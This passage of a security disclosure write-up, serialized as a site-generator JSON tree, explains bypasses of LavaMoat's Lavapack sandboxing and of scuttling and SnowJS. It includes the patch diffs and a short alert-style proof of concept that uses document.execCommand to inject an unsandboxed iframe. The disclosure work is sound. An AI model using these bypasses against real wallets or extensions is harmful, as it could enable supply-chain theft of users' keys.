{\n",{"type":23,"tag":213,"props":49405,"children":49406},{"class":215,"line":1176},[49407],{"type":23,"tag":213,"props":49408,"children":49409},{"emptyLinePlaceholder":18},[49410],{"type":28,"value":530},{"type":23,"tag":213,"props":49412,"children":49413},{"class":215,"line":1202},[49414],{"type":23,"tag":213,"props":49415,"children":49416},{"style":537},[49417],{"type":28,"value":49418},"/*\n",{"type":23,"tag":213,"props":49420,"children":49421},{"class":215,"line":1758},[49422],{"type":23,"tag":213,"props":49423,"children":49424},{"style":537},[49425],{"type":28,"value":49426},"*/\n",{"type":23,"tag":24,"props":49428,"children":49429},{},[49430],{"type":28,"value":49431},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":9693,"props":49433,"children":49435},{"id":49434},"lavapack-patch",[49436],{"type":28,"value":49437},"Lavapack Patch",{"type":23,"tag":24,"props":49439,"children":49440},{},[49441,49443,49449],{"type":28,"value":49442},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":209,"props":49444,"children":49446},{"className":49445},[],[49447],{"type":28,"value":49448},"assertValidJS",{"type":28,"value":49450},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":24,"props":49452,"children":49453},{},[49454,49456,49463],{"type":28,"value":49455},"The patch was introduced in commit ",{"type":23,"tag":36,"props":49457,"children":49460},{"href":49458,"rel":49459},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[40],[49461],{"type":28,"value":49462},"9c38cd4",{"type":28,"value":124},{"type":23,"tag":202,"props":49465,"children":49467},{"className":40418,"code":49466,"language":40420,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[49468],{"type":23,"tag":209,"props":49469,"children":49470},{"__ignoreMap":7},[49471,49479,49487,49495,49503,49511,49519,49527,49534,49542],{"type":23,"tag":213,"props":49472,"children":49473},{"class":215,"line":216},[49474],{"type":23,"tag":213,"props":49475,"children":49476},{"style":514},[49477],{"type":28,"value":49478},"+ function assertValidJS(code) {\n",{"type":23,"tag":213,"props":49480,"children":49481},{"class":215,"line":226},[49482],{"type":23,"tag":213,"props":49483,"children":49484},{"style":514},[49485],{"type":28,"value":49486},"+ try {\n",{"type":23,"tag":213,"props":49488,"children":49489},{"class":215,"line":524},[49490],{"type":23,"tag":213,"props":49491,"children":49492},{"style":514},[49493],{"type":28,"value":49494},"+ new Function(code)\n",{"type":23,"tag":213,"props":49496,"children":49497},{"class":215,"line":533},[49498],{"type":23,"tag":213,"props":49499,"children":49500},{"style":514},[49501],{"type":28,"value":49502},"+ } catch (err) {\n",{"type":23,"tag":213,"props":49504,"children":49505},{"class":215,"line":543},[49506],{"type":23,"tag":213,"props":49507,"children":49508},{"style":514},[49509],{"type":28,"value":49510},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":213,"props":49512,"children":49513},{"class":215,"line":551},[49514],{"type":23,"tag":213,"props":49515,"children":49516},{"style":514},[49517],{"type":28,"value":49518},"+ }\n",{"type":23,"tag":213,"props":49520,"children":49521},{"class":215,"line":570},[49522],{"type":23,"tag":213,"props":49523,"children":49524},{"style":514},[49525],{"type":28,"value":49526},"+ }\n",{"type":23,"tag":213,"props":49528,"children":49529},{"class":215,"line":655},[49530],{"type":23,"tag":213,"props":49531,"children":49532},{"emptyLinePlaceholder":18},[49533],{"type":28,"value":530},{"type":23,"tag":213,"props":49535,"children":49536},{"class":215,"line":1176},[49537],{"type":23,"tag":213,"props":49538,"children":49539},{"style":514},[49540],{"type":28,"value":49541},"+ // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":213,"props":49543,"children":49544},{"class":215,"line":1202},[49545],{"type":23,"tag":213,"props":49546,"children":49547},{"style":514},[49548],{"type":28,"value":49549},"+ assertValidJS(sourceMeta.code)\n",{"type":23,"tag":47,"props":49551,"children":49553},{"id":49552},"hacking-js-realms",[49554],{"type":28,"value":49555},"Hacking JS Realms",{"type":23,"tag":24,"props":49557,"children":49558},{},[49559,49561,49566],{"type":28,"value":49560},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":209,"props":49562,"children":49564},{"className":49563},[],[49565],{"type":28,"value":37475},{"type":28,"value":49567}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":202,"props":49569,"children":49571},{"className":31419,"code":49570,"language":31421,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[49572],{"type":23,"tag":209,"props":49573,"children":49574},{"__ignoreMap":7},[49575,49617],{"type":23,"tag":213,"props":49576,"children":49577},{"class":215,"line":216},[49578,49582,49587,49591,49595,49599,49604,49608,49613],{"type":23,"tag":213,"props":49579,"children":49580},{"style":230},[49581],{"type":28,"value":632},{"type":23,"tag":213,"props":49583,"children":49584},{"style":268},[49585],{"type":28,"value":49586}," w",{"type":23,"tag":213,"props":49588,"children":49589},{"style":274},[49590],{"type":28,"value":511},{"type":23,"tag":213,"props":49592,"children":49593},{"style":268},[49594],{"type":28,"value":31464},{"type":23,"tag":213,"props":49596,"children":49597},{"style":220},[49598],{"type":28,"value":124},{"type":23,"tag":213,"props":49600,"children":49601},{"style":257},[49602],{"type":28,"value":49603},"open",{"type":23,"tag":213,"props":49605,"children":49606},{"style":220},[49607],{"type":28,"value":265},{"type":23,"tag":213,"props":49609,"children":49610},{"style":246},[49611],{"type":28,"value":49612},"'/non_existent'",{"type":23,"tag":213,"props":49614,"children":49615},{"style":220},[49616],{"type":28,"value":2867},{"type":23,"tag":213,"props":49618,"children":49619},{"class":215,"line":226},[49620,49625,49629,49633,49637,49641,49645,49649],{"type":23,"tag":213,"props":49621,"children":49622},{"style":268},[49623],{"type":28,"value":49624},"w",{"type":23,"tag":213,"props":49626,"children":49627},{"style":220},[49628],{"type":28,"value":124},{"type":23,"tag":213,"props":49630,"children":49631},{"style":257},[49632],{"type":28,"value":32753},{"type":23,"tag":213,"props":49634,"children":49635},{"style":220},[49636],{"type":28,"value":265},{"type":23,"tag":213,"props":49638,"children":49639},{"style":268},[49640],{"type":28,"value":32763},{"type":23,"tag":213,"props":49642,"children":49643},{"style":220},[49644],{"type":28,"value":124},{"type":23,"tag":213,"props":49646,"children":49647},{"style":268},[49648],{"type":28,"value":32773},{"type":23,"tag":213,"props":49650,"children":49651},{"style":220},[49652],{"type":28,"value":2183},{"type":23,"tag":24,"props":49654,"children":49655},{},[49656,49658,49663],{"type":28,"value":49657},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":209,"props":49659,"children":49661},{"className":49660},[],[49662],{"type":28,"value":37475},{"type":28,"value":49664}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":24,"props":49666,"children":49667},{},[49668,49670,49677],{"type":28,"value":49669},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":36,"props":49671,"children":49674},{"href":49672,"rel":49673},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[40],[49675],{"type":28,"value":49676},"Metamask implementation",{"type":28,"value":2121},{"type":23,"tag":9693,"props":49679,"children":49681},{"id":49680},"snowjs-attack-surface",[49682],{"type":28,"value":49683},"SnowJS Attack Surface",{"type":23,"tag":24,"props":49685,"children":49686},{},[49687],{"type":28,"value":49688},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":24,"props":49690,"children":49691},{},[49692,49694,49701],{"type":28,"value":49693},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":36,"props":49695,"children":49698},{"href":49696,"rel":49697},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[40],[49699],{"type":28,"value":49700},"hooked inserters",{"type":28,"value":49702}," functions:",{"type":23,"tag":202,"props":49704,"children":49706},{"className":31419,"code":49705,"language":31421,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[49707],{"type":23,"tag":209,"props":49708,"children":49709},{"__ignoreMap":7},[49710,49730,49751,49790,49844,49883,49982,50002,50023],{"type":23,"tag":213,"props":49711,"children":49712},{"class":215,"line":216},[49713,49717,49722,49726],{"type":23,"tag":213,"props":49714,"children":49715},{"style":230},[49716],{"type":28,"value":632},{"type":23,"tag":213,"props":49718,"children":49719},{"style":268},[49720],{"type":28,"value":49721}," map",{"type":23,"tag":213,"props":49723,"children":49724},{"style":274},[49725],{"type":28,"value":511},{"type":23,"tag":213,"props":49727,"children":49728},{"style":220},[49729],{"type":28,"value":1375},{"type":23,"tag":213,"props":49731,"children":49732},{"class":215,"line":226},[49733,49738,49742,49747],{"type":23,"tag":213,"props":49734,"children":49735},{"style":268},[49736],{"type":28,"value":49737}," Range:",{"type":23,"tag":213,"props":49739,"children":49740},{"style":220},[49741],{"type":28,"value":469},{"type":23,"tag":213,"props":49743,"children":49744},{"style":246},[49745],{"type":28,"value":49746},"'insertNode'",{"type":23,"tag":213,"props":49748,"children":49749},{"style":220},[49750],{"type":28,"value":14337},{"type":23,"tag":213,"props":49752,"children":49753},{"class":215,"line":524},[49754,49759,49763,49768,49772,49777,49781,49786],{"type":23,"tag":213,"props":49755,"children":49756},{"style":268},[49757],{"type":28,"value":49758}," DocumentFragment:",{"type":23,"tag":213,"props":49760,"children":49761},{"style":220},[49762],{"type":28,"value":469},{"type":23,"tag":213,"props":49764,"children":49765},{"style":246},[49766],{"type":28,"value":49767},"'replaceChildren'",{"type":23,"tag":213,"props":49769,"children":49770},{"style":220},[49771],{"type":28,"value":424},{"type":23,"tag":213,"props":49773,"children":49774},{"style":246},[49775],{"type":28,"value":49776},"'append'",{"type":23,"tag":213,"props":49778,"children":49779},{"style":220},[49780],{"type":28,"value":424},{"type":23,"tag":213,"props":49782,"children":49783},{"style":246},[49784],{"type":28,"value":49785},"'prepend'",{"type":23,"tag":213,"props":49787,"children":49788},{"style":220},[49789],{"type":28,"value":14337},{"type":23,"tag":213,"props":49791,"children":49792},{"class":215,"line":533},[49793,49798,49802,49806,49810,49814,49818,49822,49826,49831,49835,49840],{"type":23,"tag":213,"props":49794,"children":49795},{"style":268},[49796],{"type":28,"value":49797}," Document:",{"type":23,"tag":213,"props":49799,"children":49800},{"style":220},[49801],{"type":28,"value":469},{"type":23,"tag":213,"props":49803,"children":49804},{"style":246},[49805],{"type":28,"value":49767},{"type":23,"tag":213,"props":49807,"children":49808},{"style":220},[49809],{"type":28,"value":424},{"type":23,"tag":213,"props":49811,"children":49812},{"style":246},[49813],{"type":28,"value":49776},{"type":23,"tag":213,"props":49815,"children":49816},{"style":220},[49817],{"type":28,"value":424},{"type":23,"tag":213,"props":49819,"children":49820},{"style":246},[49821],{"type":28,"value":49785},{"type":23,"tag":213,"props":49823,"children":49824},{"style":220},[49825],{"type":28,"value":424},{"type":23,"tag":213,"props":49827,"children":49828},{"style":246},[49829],{"type":28,"value":49830},"'write'",{"type":23,"tag":213,"props":49832,"children":49833},{"style":220},[49834],{"type":28,"value":424},{"type":23,"tag":213,"props":49836,"children":49837},{"style":246},[49838],{"type":28,"value":49839},"'writeln'",{"type":23,"tag":213,"props":49841,"children":49842},{"style":220},[49843],{"type":28,"value":14337},{"type":23,"tag":213,"props":49845,"children":49846},{"class":215,"line":543},[49847,49852,49856,49861,49865,49870,49874,49879],{"type":23,"tag":213,"props":49848,"children":49849},{"style":268},[49850],{"type":28,"value":49851}," Node:",{"type":23,"tag":213,"props":49853,"children":49854},{"style":220},[49855],{"type":28,"value":469},{"type":23,"tag":213,"props":49857,"children":49858},{"style":246},[49859],{"type":28,"value":49860},"'appendChild'",{"type":23,"tag":213,"props":49862,"children":49863},{"style":220},[49864],{"type":28,"value":424},{"type":23,"tag":213,"props":49866,"children":49867},{"style":246},[49868],{"type":28,"value":49869},"'insertBefore'",{"type":23,"tag":213,"props":49871,"children":49872},{"style":220},[49873],{"type":28,"value":424},{"type":23,"tag":213,"props":49875,"children":49876},{"style":246},[49877],{"type":28,"value":49878},"'replaceChild'",{"type":23,"tag":213,"props":49880,"children":49881},{"style":220},[49882],{"type":28,"value":14337},{"type":23,"tag":213,"props":49884,"children":49885},{"class":215,"line":551},[49886,49891,49895,49900,49904,49909,49913,49918,49922,49927,49931,49936,49940,49944,49948,49953,49957,49961,49965,49970,49974,49978],{"type":23,"tag":213,"props":49887,"children":49888},{"style":268},[49889],{"type":28,"value":49890}," Element:",{"type":23,"tag":213,"props":49892,"children":49893},{"style":220},[49894],{"type":28,"value":469},{"type":23,"tag":213,"props":49896,"children":49897},{"style":246},[49898],{"type":28,"value":49899},"'innerHTML'",{"type":23,"tag":213,"props":49901,"children":49902},{"style":220},[49903],{"type":28,"value":424},{"type":23,"tag":213,"props":49905,"children":49906},{"style":246},[49907],{"type":28,"value":49908},"'outerHTML'",{"type":23,"tag":213,"props":49910,"children":49911},{"style":220},[49912],{"type":28,"value":424},{"type":23,"tag":213,"props":49914,"children":49915},{"style":246},[49916],{"type":28,"value":49917},"'insertAdjacentHTML'",{"type":23,"tag":213,"props":49919,"children":49920},{"style":220},[49921],{"type":28,"value":424},{"type":23,"tag":213,"props":49923,"children":49924},{"style":246},[49925],{"type":28,"value":49926},"'replaceWith'",{"type":23,"tag":213,"props":49928,"children":49929},{"style":220},[49930],{"type":28,"value":424},{"type":23,"tag":213,"props":49932,"children":49933},{"style":246},[49934],{"type":28,"value":49935},"'insertAdjacentElement'",{"type":23,"tag":213,"props":49937,"children":49938},{"style":220},[49939],{"type":28,"value":424},{"type":23,"tag":213,"props":49941,"children":49942},{"style":246},[49943],{"type":28,"value":49776},{"type":23,"tag":213,"props":49945,"children":49946},{"style":220},[49947],{"type":28,"value":424},{"type":23,"tag":213,"props":49949,"children":49950},{"style":246},[49951],{"type":28,"value":49952},"'before'",{"type":23,"tag":213,"props":49954,"children":49955},{"style":220},[49956],{"type":28,"value":424},{"type":23,"tag":213,"props":49958,"children":49959},{"style":246},[49960],{"type":28,"value":49785},{"type":23,"tag":213,"props":49962,"children":49963},{"style":220},[49964],{"type":28,"value":424},{"type":23,"tag":213,"props":49966,"children":49967},{"style":246},[49968],{"type":28,"value":49969},"'after'",{"type":23,"tag":213,"props":49971,"children":49972},{"style":220},[49973],{"type":28,"value":424},{"type":23,"tag":213,"props":49975,"children":49976},{"style":246},[49977],{"type":28,"value":49767},{"type":23,"tag":213,"props":49979,"children":49980},{"style":220},[49981],{"type":28,"value":14337},{"type":23,"tag":213,"props":49983,"children":49984},{"class":215,"line":570},[49985,49990,49994,49998],{"type":23,"tag":213,"props":49986,"children":49987},{"style":268},[49988],{"type":28,"value":49989}," ShadowRoot:",{"type":23,"tag":213,"props":49991,"children":49992},{"style":220},[49993],{"type":28,"value":469},{"type":23,"tag":213,"props":49995,"children":49996},{"style":246},[49997],{"type":28,"value":49899},{"type":23,"tag":213,"props":49999,"children":50000},{"style":220},[50001],{"type":28,"value":14337},{"type":23,"tag":213,"props":50003,"children":50004},{"class":215,"line":655},[50005,50010,50014,50019],{"type":23,"tag":213,"props":50006,"children":50007},{"style":268},[50008],{"type":28,"value":50009}," HTMLIFrameElement:",{"type":23,"tag":213,"props":50011,"children":50012},{"style":220},[50013],{"type":28,"value":469},{"type":23,"tag":213,"props":50015,"children":50016},{"style":246},[50017],{"type":28,"value":50018},"'srcdoc'",{"type":23,"tag":213,"props":50020,"children":50021},{"style":220},[50022],{"type":28,"value":14337},{"type":23,"tag":213,"props":50024,"children":50025},{"class":215,"line":1176},[50026],{"type":23,"tag":213,"props":50027,"children":50028},{"style":220},[50029],{"type":28,"value":16629},{"type":23,"tag":24,"props":50031,"children":50032},{},[50033],{"type":28,"value":50034},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":24,"props":50036,"children":50037},{},[50038],{"type":28,"value":50039},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":9693,"props":50041,"children":50043},{"id":50042},"bypassing-snowjs",[50044],{"type":28,"value":50045},"Bypassing SnowJS",{"type":23,"tag":24,"props":50047,"children":50048},{},[50049,50051,50062,50064,50070],{"type":28,"value":50050},"The deprecated ",{"type":23,"tag":36,"props":50052,"children":50055},{"href":50053,"rel":50054},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[40],[50056],{"type":23,"tag":209,"props":50057,"children":50059},{"className":50058},[],[50060],{"type":28,"value":50061},"document.execCommand",{"type":28,"value":50063}," function is used to execute commands inside a ",{"type":23,"tag":209,"props":50065,"children":50067},{"className":50066},[],[50068],{"type":28,"value":50069},"contenteditable",{"type":28,"value":50071}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":202,"props":50073,"children":50076},{"className":50074,"code":50075,"language":32438,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[50077],{"type":23,"tag":209,"props":50078,"children":50079},{"__ignoreMap":7},[50080],{"type":23,"tag":213,"props":50081,"children":50082},{"class":215,"line":216},[50083,50087,50091,50095,50099,50104,50109,50114,50119,50123],{"type":23,"tag":213,"props":50084,"children":50085},{"style":32431},[50086],{"type":28,"value":434},{"type":23,"tag":213,"props":50088,"children":50089},{"style":230},[50090],{"type":28,"value":31402},{"type":23,"tag":213,"props":50092,"children":50093},{"style":268},[50094],{"type":28,"value":32511},{"type":23,"tag":213,"props":50096,"children":50097},{"style":220},[50098],{"type":28,"value":3190},{"type":23,"tag":213,"props":50100,"children":50101},{"style":246},[50102],{"type":28,"value":50103},"test",{"type":23,"tag":213,"props":50105,"children":50106},{"style":268},[50107],{"type":28,"value":50108}," contenteditable",{"type":23,"tag":213,"props":50110,"children":50111},{"style":268},[50112],{"type":28,"value":50113}," autofocus",{"type":23,"tag":213,"props":50115,"children":50116},{"style":32431},[50117],{"type":28,"value":50118},">\u003C/",{"type":23,"tag":213,"props":50120,"children":50121},{"style":230},[50122],{"type":28,"value":31402},{"type":23,"tag":213,"props":50124,"children":50125},{"style":32431},[50126],{"type":28,"value":6084},{"type":23,"tag":24,"props":50128,"children":50129},{},[50130,50132,50138,50140,50145],{"type":28,"value":50131},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":209,"props":50133,"children":50135},{"className":50134},[],[50136],{"type":28,"value":50137},"insertHTML",{"type":28,"value":50139}," command of ",{"type":23,"tag":209,"props":50141,"children":50143},{"className":50142},[],[50144],{"type":28,"value":50061},{"type":28,"value":50146}," to add a non-sandboxed iframe.",{"type":23,"tag":202,"props":50148,"children":50150},{"className":31419,"code":50149,"language":31421,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[50151],{"type":23,"tag":209,"props":50152,"children":50153},{"__ignoreMap":7},[50154],{"type":23,"tag":213,"props":50155,"children":50156},{"class":215,"line":216},[50157,50161,50165,50170,50174,50179,50183,50187,50191,50196],{"type":23,"tag":213,"props":50158,"children":50159},{"style":268},[50160],{"type":28,"value":32763},{"type":23,"tag":213,"props":50162,"children":50163},{"style":220},[50164],{"type":28,"value":124},{"type":23,"tag":213,"props":50166,"children":50167},{"style":257},[50168],{"type":28,"value":50169},"execCommand",{"type":23,"tag":213,"props":50171,"children":50172},{"style":220},[50173],{"type":28,"value":265},{"type":23,"tag":213,"props":50175,"children":50176},{"style":246},[50177],{"type":28,"value":50178},"'insertHTML'",{"type":23,"tag":213,"props":50180,"children":50181},{"style":220},[50182],{"type":28,"value":424},{"type":23,"tag":213,"props":50184,"children":50185},{"style":230},[50186],{"type":28,"value":2499},{"type":23,"tag":213,"props":50188,"children":50189},{"style":220},[50190],{"type":28,"value":424},{"type":23,"tag":213,"props":50192,"children":50193},{"style":246},[50194],{"type":28,"value":50195},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":213,"props":50197,"children":50198},{"style":220},[50199],{"type":28,"value":2867},{"type":23,"tag":9693,"props":50201,"children":50203},{"id":50202},"impact-on-lavamoat-scuttling",[50204],{"type":28,"value":50205},"Impact On Lavamoat Scuttling",{"type":23,"tag":24,"props":50207,"children":50208},{},[50209],{"type":28,"value":50210},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":24,"props":50212,"children":50213},{},[50214,50216,50221,50223,50228],{"type":28,"value":50215},"For the exploit, the only used functions are in ",{"type":23,"tag":209,"props":50217,"children":50219},{"className":50218},[],[50220],{"type":28,"value":32763},{"type":28,"value":50222}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":209,"props":50224,"children":50226},{"className":50225},[],[50227],{"type":28,"value":37475},{"type":28,"value":50229}," object.",{"type":23,"tag":24,"props":50231,"children":50232},{},[50233,50235,50240],{"type":28,"value":50234},"Consider this example, which runs a scuttled ",{"type":23,"tag":209,"props":50236,"children":50238},{"className":50237},[],[50239],{"type":28,"value":32753},{"type":28,"value":25523},{"type":23,"tag":202,"props":50242,"children":50244},{"className":31419,"code":50243,"language":31421,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[50245],{"type":23,"tag":209,"props":50246,"children":50247},{"__ignoreMap":7},[50248,50284,50321,50364],{"type":23,"tag":213,"props":50249,"children":50250},{"class":215,"line":216},[50251,50255,50259,50263,50267,50271,50275,50280],{"type":23,"tag":213,"props":50252,"children":50253},{"style":268},[50254],{"type":28,"value":32763},{"type":23,"tag":213,"props":50256,"children":50257},{"style":220},[50258],{"type":28,"value":124},{"type":23,"tag":213,"props":50260,"children":50261},{"style":268},[50262],{"type":28,"value":32455},{"type":23,"tag":213,"props":50264,"children":50265},{"style":220},[50266],{"type":28,"value":124},{"type":23,"tag":213,"props":50268,"children":50269},{"style":268},[50270],{"type":28,"value":35029},{"type":23,"tag":213,"props":50272,"children":50273},{"style":274},[50274],{"type":28,"value":511},{"type":23,"tag":213,"props":50276,"children":50277},{"style":246},[50278],{"type":28,"value":50279}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":213,"props":50281,"children":50282},{"style":220},[50283],{"type":28,"value":313},{"type":23,"tag":213,"props":50285,"children":50286},{"class":215,"line":226},[50287,50291,50295,50299,50303,50308,50312,50317],{"type":23,"tag":213,"props":50288,"children":50289},{"style":268},[50290],{"type":28,"value":32763},{"type":23,"tag":213,"props":50292,"children":50293},{"style":220},[50294],{"type":28,"value":124},{"type":23,"tag":213,"props":50296,"children":50297},{"style":257},[50298],{"type":28,"value":35054},{"type":23,"tag":213,"props":50300,"children":50301},{"style":220},[50302],{"type":28,"value":265},{"type":23,"tag":213,"props":50304,"children":50305},{"style":246},[50306],{"type":28,"value":50307},"'test'",{"type":23,"tag":213,"props":50309,"children":50310},{"style":220},[50311],{"type":28,"value":20796},{"type":23,"tag":213,"props":50313,"children":50314},{"style":257},[50315],{"type":28,"value":50316},"focus",{"type":23,"tag":213,"props":50318,"children":50319},{"style":220},[50320],{"type":28,"value":3759},{"type":23,"tag":213,"props":50322,"children":50323},{"class":215,"line":524},[50324,50328,50332,50336,50340,50344,50348,50352,50356,50360],{"type":23,"tag":213,"props":50325,"children":50326},{"style":268},[50327],{"type":28,"value":32763},{"type":23,"tag":213,"props":50329,"children":50330},{"style":220},[50331],{"type":28,"value":124},{"type":23,"tag":213,"props":50333,"children":50334},{"style":257},[50335],{"type":28,"value":50169},{"type":23,"tag":213,"props":50337,"children":50338},{"style":220},[50339],{"type":28,"value":265},{"type":23,"tag":213,"props":50341,"children":50342},{"style":246},[50343],{"type":28,"value":50178},{"type":23,"tag":213,"props":50345,"children":50346},{"style":220},[50347],{"type":28,"value":424},{"type":23,"tag":213,"props":50349,"children":50350},{"style":230},[50351],{"type":28,"value":2499},{"type":23,"tag":213,"props":50353,"children":50354},{"style":220},[50355],{"type":28,"value":424},{"type":23,"tag":213,"props":50357,"children":50358},{"style":246},[50359],{"type":28,"value":50195},{"type":23,"tag":213,"props":50361,"children":50362},{"style":220},[50363],{"type":28,"value":2867},{"type":23,"tag":213,"props":50365,"children":50366},{"class":215,"line":533},[50367,50371,50375,50380,50384,50388,50393,50397,50402,50407,50411,50415,50419,50423,50427,50431],{"type":23,"tag":213,"props":50368,"children":50369},{"style":268},[50370],{"type":28,"value":32763},{"type":23,"tag":213,"props":50372,"children":50373},{"style":220},[50374],{"type":28,"value":124},{"type":23,"tag":213,"props":50376,"children":50377},{"style":257},[50378],{"type":28,"value":50379},"getElementsByTagName",{"type":23,"tag":213,"props":50381,"children":50382},{"style":220},[50383],{"type":28,"value":265},{"type":23,"tag":213,"props":50385,"children":50386},{"style":246},[50387],{"type":28,"value":36788},{"type":23,"tag":213,"props":50389,"children":50390},{"style":220},[50391],{"type":28,"value":50392},")[",{"type":23,"tag":213,"props":50394,"children":50395},{"style":514},[50396],{"type":28,"value":4116},{"type":23,"tag":213,"props":50398,"children":50399},{"style":220},[50400],{"type":28,"value":50401},"].",{"type":23,"tag":213,"props":50403,"children":50404},{"style":268},[50405],{"type":28,"value":50406},"contentWindow",{"type":23,"tag":213,"props":50408,"children":50409},{"style":220},[50410],{"type":28,"value":124},{"type":23,"tag":213,"props":50412,"children":50413},{"style":257},[50414],{"type":28,"value":32753},{"type":23,"tag":213,"props":50416,"children":50417},{"style":220},[50418],{"type":28,"value":265},{"type":23,"tag":213,"props":50420,"children":50421},{"style":268},[50422],{"type":28,"value":32763},{"type":23,"tag":213,"props":50424,"children":50425},{"style":220},[50426],{"type":28,"value":124},{"type":23,"tag":213,"props":50428,"children":50429},{"style":268},[50430],{"type":28,"value":32773},{"type":23,"tag":213,"props":50432,"children":50433},{"style":220},[50434],{"type":28,"value":2867},{"type":23,"tag":9693,"props":50436,"children":50438},{"id":50437},"snowjs-patch",[50439],{"type":28,"value":50440},"SnowJS Patch",{"type":23,"tag":24,"props":50442,"children":50443},{},[50444,50446,50453,50455,50462],{"type":28,"value":50445},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":36,"props":50447,"children":50450},{"href":50448,"rel":50449},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[40],[50451],{"type":28,"value":50452},"browser feature within W3C standards",{"type":28,"value":50454},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":36,"props":50456,"children":50459},{"href":50457,"rel":50458},"https://github.com/weizman/Realms-Initialization-Control",[40],[50460],{"type":28,"value":50461},"Here",{"type":28,"value":50463}," is their new proposal.",{"type":23,"tag":47,"props":50465,"children":50467},{"id":50466},"chaining-the-impacts",[50468],{"type":28,"value":50469},"Chaining The Impacts",{"type":23,"tag":24,"props":50471,"children":50472},{},[50473],{"type":28,"value":50474},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":131,"props":50476,"children":50477},{},[50478,50483],{"type":23,"tag":135,"props":50479,"children":50480},{},[50481],{"type":28,"value":50482},"Policy File Bypass",{"type":23,"tag":135,"props":50484,"children":50485},{},[50486],{"type":28,"value":50487},"Scuttling Bypass",{"type":23,"tag":24,"props":50489,"children":50490},{},[50491],{"type":28,"value":50492},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":24,"props":50494,"children":50495},{},[50496],{"type":28,"value":50497},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":47,"props":50499,"children":50500},{"id":28989},[50501],{"type":28,"value":19000},{"type":23,"tag":24,"props":50503,"children":50504},{},[50505],{"type":28,"value":50506},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":31402,"props":50508,"children":50509},{"style":31404},[50510],{"type":23,"tag":4009,"props":50511,"children":50514},{"src":50512,"alt":50513,"style":31410},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":18473,"props":50516,"children":50518},{"className":50517,"dataFootnotes":7},[18476],[50519,50524],{"type":23,"tag":47,"props":50520,"children":50522},{"className":50521,"id":15540},[18481],[50523],{"type":28,"value":18484},{"type":23,"tag":131,"props":50525,"children":50526},{},[50527],{"type":23,"tag":135,"props":50528,"children":50529},{"id":30421},[50530,50532,50539,50540],{"type":28,"value":50531},"Excluding SES, which was covered 